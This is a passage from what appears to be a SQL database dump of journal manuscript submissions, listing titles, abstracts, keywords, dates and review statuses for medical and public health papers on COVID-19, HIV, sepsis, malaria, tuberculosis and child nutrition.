for Covid-19 and the adequate management of the risk of contagion made it possible to increase the installed capacity to face the health emergency with quality standards.  This article intends to be a guide that illustrates the preparedness of a third-level institution for the attention of the pandemic of the year 2020.','Public Health, Pandemic, COVID-19, SARS-CoV2, Preparedness.',2805,NULL,'2021-07-26',NULL,'Submitted',19,NULL,NULL,NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(9753,10578,45,0,'iphsj-21-9753','Knowledge, Attitudes and practices of fourth year nursing students regarding the care of people living with HIV/AIDS (PLWH)',NULL,14,1,'HIV/AIDS','Background: Despite some notable significant improve on HIV/AIDS reduction or alleviation, the war against the HIV pandemic is not over as many people are blindly believing nowadays. A countless number of researches have been conducted on nurses’ knowledge, attitudes and practices when caring for people living with HIV/AIDS. \r\nPurpose of the study: The study aimed at determining and describing the knowledge, attitudes and practices of fourth year nursing students when caring for people living with HIV/AIDS\r\nMethod: A quantitative study, descriptive in nature was employed in the study. Data was collected using a questionnaire. A total sample size of 76 UNAM fourth year nursing students was used.\r\nMain findings: The overall perceived knowledge of students was good. However there were few drawbacks in the perceived knowledge some students believed that HIV can be transmitted through casual contact (23.7%) and also that it cannot be transmitted through blood transfusion (36.8%). Most students believed that PLWH have the same right to equal treatment as other patients (40.5%). However some students (5.3) believed that PLWH have themselves to blame, other had no sympathy for the misery PLWH go through, (43.4%). \r\nConclusions; The student nurses showed good general knowledge on HIV related topic, However they lacked in-depth knowledge on HIV mode of transmission . Students portrayed fair attitude towards PLWH as most of them have no sympathy for PLWH and also they showed constant worry of contracting the virus from the patients. The students had good practices when caring for PLWH; however the constant recapping of used needles is of great concern.   \r\nRecommendations: UNAM should introduce a HIV/AIDS management module and also to locate nursing students to ART clinics for at least a month starting even from third year to fourth year. ','Knowledge, Attitudes, Practices, PLWH and Nursing students.',4962,NULL,'2021-07-26',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9770,10592,251,0,'ipacm-21-9770','Brilacidin Demonstrates Inhibition of SARS-CoV-2 in Cell Culture',NULL,17,0,'','The COVID-19 pandemic remains a pressing global challenge. Worldwide mortality attributable to COVID-19 now exceeds 4 million deaths. There is an urgent need for developing novel therapeutics to treat SARS-CoV-2. Our recent study showed brilacidin, a synthetic small molecule with peptide-like properties, potently inhibits SARS-CoV-2 in cell culture. Additionally, brilacidin exhibited in vitro inhibition in combination with remdesivir, the only FDA-approved drug for treatment of COVID-19. Brilacidin is currently undergoing Phase 2 clinical testing for treatment of moderate-to-severe COVID-19 in hospitalized patients.','Severe acute respiratory syndrome; Coronavirus; SARS-CoV-2',778,NULL,'2021-07-27',NULL,'Submitted',2,NULL,'2021-09-06',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9772,10594,959,0,'ipacr-21-9772','Health Burden of Oral Cancer in South Asia Accountable to Consumption of Unregulated Flavored Smokeless Tobacco Products',NULL,15,0,'','Title: Health Burden of Oral Cancer in South Asia Accountable to Consumption of Unregulated Flavored Smokeless Tobacco Products.\r\nBackground: One of top 3 tobacco producing and consuming nations, India accounts for 80% of global smokeless tobacco (SLT) users which is twice the number of smokers. Oral cancer mortality rates in South Asia are more than double the global average and highly correlated to the consumption of SLT products. Yet, these remain very accessible across countries like India in the form of flavored chewing products with or without tobacco priced 3 to 5 rupees (US$ 0.05). Methods and Findings: Tobacco harm reduction (THR) initiatives for these countries face challenges mainly concerning affordability, acceptability, and usability of alternatives. Additionally, disease and substance use data can be vital for establishing region-specific THR objectives. This study presents historical data on the prevalence of a) smoking and lung cancer, and b) smokeless tobacco (SLT) and oral cancer for India. Further, data is presented for Tobacco specific nitrosamines (TSNAs) found in popular SLT products from different locations across India. As an indication of causation, use of SLT products which showed a much higher prevalence (%) relative to smoking contained 10-fold the maximum TSNAs reported for American SLT products. \r\nConclusions: This study emphasizes the urgent need for targeted THR strategies to alleviate the immense health burden from oral cancer in India and neighboring South Asian countries.','Smokeless tobacco products (SLTs), Oral and Lung Cancer, Health Burden, Tobacco Harm Reduction, Tobacco cessation and safe alternatives; Reduced Risk Products.',4964,NULL,'2021-07-27',NULL,'Submitted',2,NULL,'2021-09-14',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9775,9953,85,0,'iphspr-21-9775',' Understanding the role of social media to develop social influence and trigger social learning  for the development of healthy lifestyle behaviour',NULL,14,0,'','Although previous studies have highlighted the negative effects of the promotion of unhealthy food and beverages on social media, there is limited understanding regarding the role of social media to develop social influence that can trigger social learning for the development of healthy lifestyle behaviour. This study intends to contribute by upgrading the knowledge on how advance social platforms can act as an effective educational medium for health professionals to engage with a community about healthy nutrition and lifestyle. The study took a social constructionist approach because such an approach can improve understanding of the social context of food consumption, living habits, use of social media and awareness about healthy lifestyle behaviour in the context of Saudi Arabia. This study collected data from health professionals (dietitians, psychiatrists, nutritionists) as well as the general public of Saudi Arabia using focus groups discussion and semi-structured interviews. The findings of this study reveal that information and knowledge sharing among celebrities, friends, friends of friends, health professionals and patients created a social wave to learn from each other’s experiences and develop the motivation to practice healthy lifestyle behaviour. The painful stories of patients, warnings of health professionals, and the benefits of compliance with social influence led to improvements in health (happy mood, low diabetes and blood pressure, better mental condition) and increased motivation in the community to adopt healthy lifestyle behaviour. The uniqueness of this study is to merge both social influence and social learning theories and develop a socially influenced health behaviour framework based on the findings of this study. Several implications for public health officials are discussed as is the promotion of socially influenced healthy lifestyle behaviour.','social media, healthy lifestyle behaviour, social influence, social learning, Saudi Arabia.',2906,NULL,'2021-07-27',NULL,'Submitted',4,NULL,'2021-09-14',NULL,1,1,'0','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9800,10195,73,0,'ipjnn-21-9800','Advancements in Alzheimer’s treatment using Gene therapy techniques.',NULL,19,2,'','Background: Alzheimer’s is a neurodegenerative disorder of brain and a very common form of dementia. Due to damage to the cortical and subcortical areas of brain there is disturbance of multiple functions like memory, thinking, judgement and orientation. Alzheimer disease is an irreversible progressive disorder which is caused by the formation of the neurofibrillary tangles of tau proteins and amyloid-ß plaques. The excessive deposition of ?-amyloid peptides and intracellular neurofibrillary tangles of tau protein cause damage to the DNA and RNA. One of the clearly identified genetic factors involved in the Alzheimer disease is Apo lipoprotein E. Mutations in amyloid precursor protein, presenilin 1, and presenilin 2 genes have also been identified and are associated with the onset of the early-onset familial Alzheimer disease. AD can be Sporadic AD and Familial AD. There are many other factors that increase the risk for AD, which include family history, hypertension, sleep disorders, obesity, and oxidative stress.\r\nObjective: This article is a review of role of genes in the Alzheimer’s disease along with the various approaches for the AD treatment by gene therapy.\r\nMethod: Numerous research articles and review articles were searched on various related journals using keywords like “Genetics in Alzheimer’s”, “Neuro-degenerative disorder”, “Genetic biomarkers”, “Dementia”.\r\nConclusion: This review is concluded by giving various hypotheses for using genetics in the treatment for Alzheimer’s disease.','Alzheimer’s disease, Gene Therapy, Brain Disorder, Neurodegeneration, CRISPR/Cas9, Amyloid Plaques, Tau',330,NULL,'2021-07-28',NULL,'Submitted',19,NULL,'2021-10-23',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(9801,10620,73,0,'ipjnn-21-9801','Religiosity and Depression: Does a belief system play a neuroprotective role?',NULL,14,2,'','Depression is a prevalent and burdening disease that brings serious challenges to individuals who suffer from it. Religion is a unified system of belief, practices, and the community which surrounds the belief. The neuroscience of depression has received more attention in recent years, yet how a belief system influences depression is poorly studied. To examine whether religion is neuroprotective against depression, this paper investigates the neurophysiology, neuroanatomy, and neuroendocrinology associated with religiosity, and their impact the neuropathology of depression. After analyzing studies conducted by other researchers, the main results are as follows: (1) High personal importance of religion correlates with prominent posterior EEG alpha, which counters a genetic predisposition to depression and predicts a better prognosis. (2) High personal importance of religion increases cortical thickness where thinner cortices predict a high risk of developing depression. (3) Meditation increases the extracellular dopamine level, which counters the dopamine deficit exhibited by the depression-predisposed population. (4) Religiosity has a nuanced relationship with hippocampal volume in elder populations, but hippocampal atrophy is less significant in people with a religious belief compared to areligious controls. The results indicate a neuroprotective effect of high religiosity against the onset of depression. Future research should specify what aspects of a belief system confer resilience to depression, which has potential clinical implications.','Depression, religiosity, multidimensional, cortical thickness, EEG alpha, monoamine neurotransmitters, hippocampal volume.',355,NULL,'2021-07-28',NULL,'Submitted',19,NULL,'2021-08-02',NULL,1,1,'0','Kindly define MDD, Chronic MDD, and Chronic MDD with persistent symptoms properly. ',0,'','',NULL,0,4,0,NULL,0),(9811,10627,86,0,'ipaom-21-9811','Role Neutrophil to lymphocyte ratio on admission as a predictor of in hospital mortality in septic patients',NULL,14,0,'','Background; Sepsis has high mortality globally. The key factor in decreasing the mortality is early diagnosis and the initiation of appropriate treatment within hours. Various biomarkers are in use for timely diagnosis but none is without limitation. It’s imperative to predict the mortality early in order to sensitize those involved in the care. We studied neutrophil to lymphocyte ratio (NLR) as a prognostic marker in sepsis.\r\nMethodology; It was a retrospective study, conducted at Aga khan university hospital from 30th November 2020 to 31st March 2021. Data was calculated from patient medical record after approval from ERC. Multiple linear regression technique was used to determine the association between increased NLR with mortality. \r\nResults; Our study included 168 patients. The median (IQR) NLR of the patients was 10.4 (13.4). The mean SOFA score of the patients was noted to be 5.7 ±2.9, mortality was reported in 26.1% (n=44) patients. Multiple linear regression showed NLR increased by 2.0 times with every mg/dl increased in average total bilirubin level (95% CI:  0.4 - 3.2), and by 1 times with every one unit increase in SOFA score (95% CI: 0.1 - 1.5). However, there was no significant association found between NLR and mortality rate.  \r\n\r\nConclusion NLR is an effective marker for predicting sepsis; however, its role in predicting mortality is yet to be established\r\n','Neutrophil to lymphocyte ration, Sepsis, Mortality',3031,NULL,'2021-07-29',NULL,'Submitted',2,NULL,'2021-08-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(9813,10630,45,0,'iphsj-21-9813','A Cross Sectional Study on Health and Nutritional Status of School Age Children (6 to 19 years) Of Public Schools in Rural Areas of Punjab Province, Pakistan',NULL,14,0,'','Background: The most common dilemma in the developing countries like Pakistan is nutritional deficiencies, the Government is already working to overcome the nutritional deficiencies and also devising presentive strategies for children & adolescent health. \r\nObjective: To determine the nutritional & health status of rural school children aged           6–19 years of Punjab and present possible methods to improve the nutritional and health status during this life stage for a long-term health impact.\r\nMethods: A Cross sectional comparative study was carried out among school children between aged (6 to 19 years) in Punjab. Clinical examination and anthropometric measurements were used to determine the nutritional & health condition of the children.\r\nResults: 300,000 children have been screened and a sample of 384 children was selected by adopting the prevalence formula. The overall prevalence of underweight was 21.1% (81) and stunting was 33.3% (128), dental caries in 11.5% (44), dental hygiene in 27.1% (104) and gums bleeding in 4.2% (16), anemia 1.8% (7), itching, scabies & eczema in 6.8% (26). Cough 13.3% (51), Eyesight weak (near & far sighted) 1.6% (6), Ear changes in form of discharge, wax, pain & otitis in 3.6% (14), behavioral changes such as irritant 14.8% (57), laziness in 3.9% (15) and in absence mind 4.4% (17) children.\r\nConclusion: The health & nutritional status of children was found substandard, especially in terms of nutritional deficiencies, dental, behavioral and skin issues along with personal hygiene. Apart from the daily educational programs in society; nutritional education, personal hygiene education, and fitness education should be prioritized. Furthermore, suggestions and measures according to the SDG 3 (Ensure healthy lives + promote well-being for all at all ages) should be taken to improve the health and nutritional status of children.\r\n','Nutritional deficiencies, Clinical examination, Underweight, Stunting.\r\n',2879,NULL,'2021-07-29',NULL,'Submitted',2,NULL,'2021-08-31',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9815,10503,85,0,'iphspr-21-9815','Portrayal of Health informatics',NULL,5,0,'','Clinical informatics is the intersection point of information science, programming, and clinical benefits. This field deals with the resources, contraptions, and strategies expected to redesign the acquiring, accumulating, recuperation, and use of information in prosperity and biomedicine. Prosperity informatics insinuates the acquirement, storing, recuperation and usage of clinical consideration information to ensure ideal facilitated exertion among patients and their clinical consideration providers','Global health , health Care ,',3413,NULL,'2021-07-29',NULL,'Submitted',2,NULL,'2021-09-28',NULL,1,1,'1','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9819,10635,73,0,'ipjnn-21-9819','First Presentation of COVID-19 infection with Cognitive impairment due to encephalitis, A case series. ',NULL,2,2,'','Coronavirus (COVID-19) is a worldwide epidemic. Although the main target of COVID-19 is the respiratory system, it is known that the virus can cause neurological complications. Previous studies have shown that its neurological manifestations are usually seen in critically ill patients. In this study, we introduced patients who developed COVID-induced encephalitis despite their good general condition and mild symptoms. The only symptoms of encephalitis in these patients were cognitive impairment, that persisted for more than 6 months. This disorder was confirmed by NUCOG test results in patients. While previous studies have shown that COVID-induced cognitive impairment improves over time. Therefore, it is recommended that the diagnosis and treatment of encephalitis be considered in patients with COVID-19 who have mild cognitive and behavioral symptoms.','',337,NULL,'2021-07-29',NULL,'Submitted',19,NULL,'2021-07-30',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(9856,10573,326,0,'IPJUS-21-9856','Coronary Bifurcations Techniques',NULL,17,0,'','Coronary bifurcation stenosis addresses a typical finding during analytic coronary angiography, with an expected rate of about 20%. The horrible area of these injuries makes their percutaneous treatment intricate and testing, conceivably prompting early and late unfavorable occasions. To be sure, imperfect angioplasty results, for example, in the event of stent malapposition or under development, just as the powerlessness to cross the side branchonce sent the primary stent, may think twice about stream and increment the danger of both stent apoplexy and restenosis. Albeit current rules suggest the temporary methodology (i.e., embedding one stent in the fundamental branch,with sending of a second stent in the side branchonly whenever thought about vital), numerous two stent bifurcation procedures have been created to reestablish a more physiological life systems and to forestall intense and late side branch impediment.','Coronary; Bifurcation',3103,NULL,'2021-07-30',NULL,'Submitted',2,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9866,10573,326,0,'IPJUS-21-9866','Cardiac emergencies in neonates',NULL,5,0,'','An congenital heart deformity happen in around 8-10 of every 1000 live conceived newborn children, and 33% to one fourth of these sores are possibly deadly during the new conceived period. Advances in finding, catheter mediations, escalated care and careful methods, alongside serious post-usable administration, have made it conceivable to rescue a significant number of these basically sick newborn children. Brief acknowledgment of the newborn child with basic coronary illness empowering move of the baby to a middle fit for completing the necessary symptomatic and surgeries is vital for the endurance of these babies. Effective administration of pediatric heart crises requires a precise conclusion to establish a fitting arrangement of treatment. The determination anyway isn\'t generally direct, as actual discoveries, electrocardiogram, and chest x-beam are frequently hard to decipher in the new conceived period and that appearances of coronary illness in the youngster might be very not the same as those in the more seasoned baby or kid.','Neonates; Cardiac; Congenital',3103,NULL,'2021-07-31',NULL,'Submitted',2,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9903,10690,667,0,'iptb-21-9903','A review on epidemiology, risk factors, molecular etiology and management of various forms of sexual dysfunction - Special focus on erectile dysfunction and libido',NULL,15,0,'','Sexual dysfunction in both men and women are caused by some common factors such as smoking, alcoholism, psychological stress, unhealthy lifestyle and other medical conditions like diabetes, organ failure etc. Similar to the shared causes for the condition, a subset of molecular pathways and etiology behind the condition are also overlapping between the sexes. Studies have demonstrated that ED is increasingly prevalent with age: approximately 40% of men are affected at age 40 and nearly 70% of men are affected at age 70. Pathways like NO/cGMP signalling, RhoA/ROK mediated calcium sensitizing pathways, testosterone and estrogen mediated gene regulation, neurotransmitter balance etc. have been shown to be the driving forces behind the smooth muscle tone, libido, penile erection and ejaculation. Currently, the only available treatment modality for ED is oral administration of PDE5 (Phosphodiesterase 5) inhibitors and hormone therapy. In spite of this, there is a constant need for a much simpler and cheaper method that can prevent or treat various types of sexual dysfunctions with none or lesser side effects. These reasons have altogether carved a niche for cheaper and safer alternatives to mainstream medication.\r\nIn this background, this review vividly elucidates the risk factors, molecular etiology, role of key players like hormones and signalling pathways, current treatment modalities and upcoming surge of Nutraceuticals in the management of sexual disorders; majorly focusing on erectile dysfunction (ED), molecular pathways and psychological drive behind libido. The review also touches upon the list of aphrodisiacs and their modes of action in the context of prevention and treatment of sexual dysfunction in both sexes.  ','Libido, erectile dysfunction, corpus cavernosum, smooth muscle, NO-cGMP signalling, aphrodisiacs. ',4979,NULL,'2021-08-03',NULL,'Submitted',4,NULL,'2021-11-30',NULL,1,1,'0','Approved',0,'','',NULL,0,0,0,NULL,0),(9910,10697,45,0,'iphsj-21-9910','The impact of quality improvements initiatives on reducing the prevalence of central line-associated infection: An Integrative Review',NULL,15,0,'','Abstract\r\nTitle: The impact of quality improvements initiatives on reducing the prevalence of central line-associated infection: An Integrative Review\r\nAim: This review aims to assess the effect of quality improvement initiatives on reducing the rate of CLABSI.\r\nMethod: This study used Whittemore and Knafl\'s (2005) method to enable researchers to systematically and organize a search for studies. Whittemore and Knafl\'s (2005) integrative approach structure consists of five stages (problem recognition, literature search, data assessment, data interpretation, and presentation). The empirical literature on quality improvement projects and initiatives on reducing the rate of CLABSI was reviewed and analyzed based on Whittemore and Knafl\'s framework to draw an overall conclusion about what is effective over the quality improvement projects in the infection rate.\r\nFinding: Nine articles fit the study inclusion criteria 7 were Q.I., and two were a mixed method. The nine articles\' findings were classified into two themes: (1) Central line bundle care and (2) Education on CLBSAI insertion and maintenance. \r\nConclusion: This review found quality improvement projects decrease the incidence of CLABSI, improve patients’ mortality, and reduce hospitalization days. Therefore, care bundles should be performed as a routine protocol. To be more successful, bundles of care should concentrate on these risks. During the catheter insertion, compliance with barrier precautions is desirable to minimize the probability of infections. Staff education and training positively impact the prevalence rate, utilizing maximal sterile obstacle safety measures that include sterile full-body drapes, sterile gloves, sterile gowns, masks, and caps, all central venous catheters are placed.\r\n\r\n','Quality improvements , CLABSI prevalence',456,NULL,'2021-08-04',NULL,'Submitted',2,NULL,'2021-08-19',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9911,10698,639,0,'ipfs-21-9911','QUANTITATIVE AND QUALITATIVE GUT CONTENT ANALYSIS OF CHRYSICHTHYS AURATUS AND NOTOGLANIDIUM MACROSTOMA IN RIVER OGBESE.',NULL,14,0,'','The quantitative and qualitative gut analyses of Notogladinum macrostoma (52) and Chrysichthys auratus (51) were investigated in River Ogbese, Ondo State, Nigeria. Standard length ranged from 15.9 to 19.5cm and 15.0 to 24.7cm and the weight ranged from 57.04 to 98.67g and 42.65 to 116.60g for N. macrostoma and C. auratus respectively. K-values for C. auratus ranged from 0.83 to 1.19, while that of N. macrostoma ranged from 1.27 to 1.48. The mean K-value was 1.33 and 1.01 for N. macrostoma and C. auratus respectively. Gut contents were analyzed using Numeric and Volumetric methods. The result revealed that N. macrostoma and C. auratus feed on various food items ranging from plant origin to animal materials with dietary preference classified into eight major groups: Phytoplanktons and Zooplanktons Macrophytes, Fish remains, Insect remains, Gastropods, Crustacean and Detritus. Of all the stomach examined, 21.2% of N. macrostoma, had an empty stomach, 19.2% had quarter full stomach, 25% had half-filled stomach, 21.2% and 13.4% had three quarter and full stomachs respectively, while C. auratus had 25.5% empty stomach, 21.5% quarter full stomach, 19.6% half full stomach, 15.7% and 17.7% were three quarter full and full stomachs respectively. The result revealed that N. macrostoma and C. auratus Feed on a wide variety of food materials and are therefore said to be omnivores.  It is hoped that the present data will complement the limited information on the food, feeding habit of C auraus and N macrostoma in River Ogbese, and prove useful in the management and conservation of these important commercial fish species.\r\n','Notogladinum macrostoma, Chrysichthys auratus, Condition factor, Gut Analysis, River ogbese',1774,NULL,'2021-08-04',NULL,'Submitted',4,NULL,'2022-07-08',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(9934,10711,45,0,'iphsj-21-9934','DETERMINANTS OF UNDER-FIVE MORTALITY IN TACH- ARMACHIHO DISTRICT, NORTH GONDAR, ETHIOPIA',NULL,14,0,'','Abstract\r\nBackground: Under-five mortality rate, often known by its acronym U5MR, indicates the probability of dying between birth and five years of age, expressed per 1,000 live births. Globally, 16,000 children under-five still die every day. Especially in Sub-Saharan Africa every 1 child in 12, dying before his or her fifth birthday. This study aims to identify the determinants of under-five mortality among women in child bearing age group of Tach-Armachiho district using count regression models.\r\n Methods: For achieving the objective, a two stage random sampling technique (simple random sampling and systematic random sampling techniques in the first and second stages respectively) was used to select women respondents. The sample survey conducted in Tach-Armachiho district considered a total of 3815 households of women aged 15 to 49 years out of which the information was collected from 446 selected women through interviewer administrated questionnaire. \r\nResults: The descriptive statistics result showed that in the district 16.6% of mothers have faced the problem of at least one under-five death. In this study, Poisson regression, negative binomial, zero-inflated Poisson and zero-inflated negative binomial regression models were applied for data analysis. Each of these count models were compared by different statistical tests. So that, zero-inflated poisson regression model was found to be the best fit for the collected data. Results of the zero-inflated Poisson regression model showed that education of husband, source of water, mother occupation, kebele of mother, prenatal care, place of delivery, place of residence, wealth of house hold, average birth interval and average breast feeding were found to be statistically significant determinants of under-five mortality. \r\nConclusions: In this study, it was found that the factors like average birth interval and average breast feeding were found to be statistically significant factors in both groups (not always zero category and always zero category) with under-five child death whereas education of husband, source of water, place of delivery, mother occupation and wealth index of the household have significant effect on under-five mortality under not always zero group.  Place of residence, kebele of mother and prenatal care have a significant effect on under-five mortality in Tach-Armachiho district on inflated group. \r\n ','Under-five mortality, Zero-inflated Poisson Regression model, over dispersion. ',685,NULL,'2021-08-04',NULL,'Submitted',16,NULL,'2021-08-23',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9944,8963,85,0,'iphspr-21-9944','Prevalence of Malaria and Associated Factors Among Households in Guanga, Abaya District, Oromia Regional State, Southern Ethiopia: A Community Based Cross-Sectional study.',NULL,14,0,'','Nearly half of the world’s population is at risk of malaria. While most malaria cases and deaths occur in Africa. In the same way in Ethiopia also a major public health problem that every year it is the leading cause of outpatient consultations, admissions and death. Thus it was requested to identify the prevalence and causes of malaria cases timely. A community-based cross-sectional study was conducted among households in Guanga town southern Ethiopia; 2018. Systematic random sampling technique was employed for 227 participants with face to face interview. Logistic regression models were computed considered  odds ratios with 95% Confidence Intervals at P-value < 0.05 to identify factors associated with prevalence of malaria cases at study area. The result of this study showed that a total of 227 were participated with response rate of 99%. Of the total respondent more than half 127(59.1%) of individuals were females and 100 (41.9%) of them were males. Overall prevalence of malaria infection in the study area was 50(21.9%). In finally logistic regression analysis showed that levels of tertiary education [AOR 4.209, 95%CI (1.160-15.267)], wall sprayed in last 12 months [AOR 2.867, 95%CI (1.842-14.276)], mosquito nets using status [AOR=2.654, 95% CI: 1.247 - 5.648)] and presence of stagnant water [AOR=6.579, 95% CI (2.921-14.816)]  were significant association with prevalence of malaria morbidity. In conclusion the present study revealed that malaria is still a major source of morbidity in the study area. This prevalence was the result of several factors. Therefore, effective malaria control measures should be implemented in order to reduce the prevalence of malaria and hence ensure the public health at large by improving  prevention and control practices.','Malaria Infection, Prevalence, Associated Factors, Guanga Town, Ethiopia.',3242,NULL,'2021-08-05',NULL,'Submitted',2,NULL,'2021-10-14',NULL,1,1,'0','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9954,10730,91,0,'ijddr-21-9954','DIPEPTIDYL PEPTIDASE-4 INHIBITORS',NULL,5,2,'','Inhibitors of dipeptidyl peptidase 4 (DPP-4 inhibitors or gliptins) are a class of oral hypoglycemics that block the protein dipeptidyl peptidase-4 (DPP-4). They can be utilized to treat diabetes mellitus type 2. The principal specialist of the class – sitagliptin – was endorsed by the FDA in 2006. Glucagon builds blood glucose levels, and DPP-4 inhibitors decrease glucagon and blood glucose levels. The instrument of DPP-4 inhibitors is to increment incretin levels (GLP-1 and GIP), which repress glucagon discharge, which thusly builds insulin emission, diminishes gastric purging, and diminishes blood glucose levels.','Glucagon, Hypoglycemics, Glucose',2231,NULL,'2021-08-06',NULL,'Submitted',19,NULL,'2021-08-09',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,4,0,NULL,0),(9955,10731,91,0,'ijddr-21-9955','Drugs - Heart',NULL,5,2,'','Most illegal drugs can have unfavorable cardiovascular impacts, going from unusual pulse to coronary failures. Infusing unlawful medications likewise can prompt cardiovascular issues, like fell veins and bacterial contaminations of the veins and heart valves. Huge advances have been utilized medications to treat numerous heart conditions. These medications can assist with forestalling certain heart conditions from deteriorating, drag out life and lessen the impact of manifestations on the capacity to perform every day exercises.','Heart, Coronary Failures, Cardiovascular',2231,NULL,'2021-08-06',NULL,'Submitted',19,NULL,'2021-08-09',NULL,1,1,'1','      ',0,NULL,NULL,NULL,0,4,0,NULL,0),(9959,10726,959,0,'ipacr-21-9959','Perspectives of physicians looking after patients with  neurological disorders towards palliative care in West Bengal,India',NULL,12,0,'','Introduction: The proportion of hospitals providing specialist palliative care has increased considerably all over India. However, palliative care is yet to be integrated with services provided to patients with neurological impairment. Here, we present survey results describing the current levels of collaboration between neurology and palliative care services and exploring the views of professionals towards the integrated Neuropalliative care service. \r\nMethods: Physicians (Internal Medicine ,Neurology and Neurosurgery)  looking after patients with neurological disorders at Medical Colleges in  the state of West Bengal, India were approached via email to complete a comprehensive online survey. \r\nResults: The survey received responses from  75 physicians.Overall, palliative care needs of neurologically impaired patients were considered different from patients in other specialities. \r\nConclusion:  Our results demonstrate the opportunity to increase collaboration between neurology and palliative care services for people with progressive neurological conditions.','Palliative care, neurosciences',2817,NULL,'2021-08-06',NULL,'Submitted',4,NULL,'2021-12-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9960,10734,45,0,'iphsj-21-9960','Factors influencing inequity in access to urban health service delivery in low resource setting country Bangladesh',NULL,14,0,'','Background\r\nHealth is considered as constitutional and fundamental right for general people in Bangladesh. Due to poor socio-economic conditions, income disparities, and socio-cultural barriers, many poor people have limited accessibility in health services and also unable to afford quality health care. This study attempts to examine the factors associated with accessibility and affordability of urban health services.\r\nMethodology\r\nThis is an explanatory research which is being carried out using mixed research approach. Primary data was collected using simple random sampling technique from 150 household’s residents in Sylhet City who have experience in receiving services from the urban public health care centers. This study uses a structured interview schedule including both open ended as well as close ended questions. Moreover, descriptive statistics is used for analyzing field data for understanding accessibility of health services.\r\nResults\r\nData shows 56% respondent think that urban poor people have inadequate accessibility of health services as they have different types of financial difficulties including maintaining medical expenditure. The health system prevail discrepancy between mentioned services in citizen charter and availability of services as education and the existence of superstitions significantly impact on access to public health care but religion and age have a little impact in getting health services. Most of the respondents either satisfied (47%) or highly satisfied (29%) with the cordiality of senior consultants, and almost half of the respondents assumed the standard of cabin service is satisfactory (44%) as well as highly satisfactory (2%); however, wealthy and powerful people of the society always get privileges over disadvantaged people paying extra money or social network to get a cabin. Unfortunately, the professionalism of nurses and 4th class employees of public hospitals are not satisfactory. Moreover, there exists a high level of corruption and bureaucratic resistance in public hospitals which hinders equal access of general people to get services. The economic and cultural factors in this research are not highly influential issues for access to health care, but adequate information is one of the challenges for access to health care. Besides, administrative factors in this study have significant influence on the accessibility of health services.\r\nConclusion\r\nEqual access to health services from public providers are prime need and right for every resident in Sylhet city. Reform in health system management and service provision are useful for promoting accessibility in health services. Therefore, expansion of health coverage, introduction to health insurance scheme, empowerment of urban poor, and ensuring efficient and accountable health service management in public hospital must be ensured for developing adequate health services.','Urban public health care, inequity of health opportunity, accessibility, health service information, administrative factors, socio-economic factors',643,NULL,'2021-08-06',NULL,'Submitted',2,NULL,'2021-08-24',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9961,10733,91,0,'ijddr-21-9961','Is chocolate a drug?',NULL,5,2,'','Chocolate contains little amounts of anandamide, an endogenous cannabinoid found in the mind. Anandamide is a synapse that objectives a similar cerebrum structures as THC, the dynamic fixing in cannabis. However, to have a generous effect on the cerebrum\'s own regular anandamide levels, specialists gauge you would have to eat a few kilos of chocolate! Neuroscientist Daniele Piomelli proposes that chocolate works all the more in a roundabout way to create its \'high\'. Just as anandamide itself, chocolate contains two synthetics known to moderate the breakdown of anandamide. Chocolate may accordingly work by delaying the activity of this normal energizer in the mind.','Anandamide, Cerebrum Cannabis, cannabinoid',2231,NULL,'2021-08-06',NULL,'Submitted',19,NULL,'2021-08-09',NULL,1,1,'1','      ',0,NULL,NULL,NULL,0,4,0,NULL,0),(9973,10740,45,0,'iphsj-21-9973','Determinants of Treatment Failure among New Smear Positive Pulmonary Tuberculosis Patients, North West Ethiopia: A case-control study',NULL,14,0,'','Introduction Despite the accessibility of curable anti-tuberculosis medications, tuberculosis (TB) treatment failure is still challenge to the health and economic burden.  As a result the patient remains main source of infection in the public and may lead to develop Resistance TB, as a consequence less productivity and lack of ability to work. Methods Unmatched case control study design was conducted among 94 cases and 196 controls from January to May 2018. Cases and controls were selected from health centers and government hospitals using systematic random sampling. Binary logistic regression analysis was used to identify factors.  Results Patients age 30-39 years were 20%  more likely risk for treatment failure as compared with age 40 and above (AOR=0.80; 95% CI:0.73-0.92), patients with a family size of 5 and above were 2.81 times more likely risk for  TB treatment failure  as compared with a family size of less than three (AOR=2.81; 95% CI: 1.70-4.64), patients co-infected with HIV were 3.79 times more likely risk for TB treatment failure as compared with HIV negatives (AOR=3.79; 95% CI:1.67-8.60), and duration of cough greater than 9 weeks were 6.84 times more likely risk for TB treatment failure as compared with cough of less than 5 weeks (AOR=6.84; 95% CI: 4.31-9.37) and Patients with positive smear result at two months were also 7.92 times more likely risk for  treatment failure (AOR=7.92; 95% CI: 3.56-17.60) as compared with negative smear result patients were factors significantly associated with treatment failure. Conclusion TB treatment failure was associated with older age, large family size, co-infected with HIV, long duration of cough before diagnosis and positive sputum smear at end of two months. Hence, service providers should provide strict follow up for TB patients co-infected with HIV and patients of positive smear at end of two months during the course of treatment. ','Tuberculosis, treatment failure, determinant factors, West Gojjam, North West 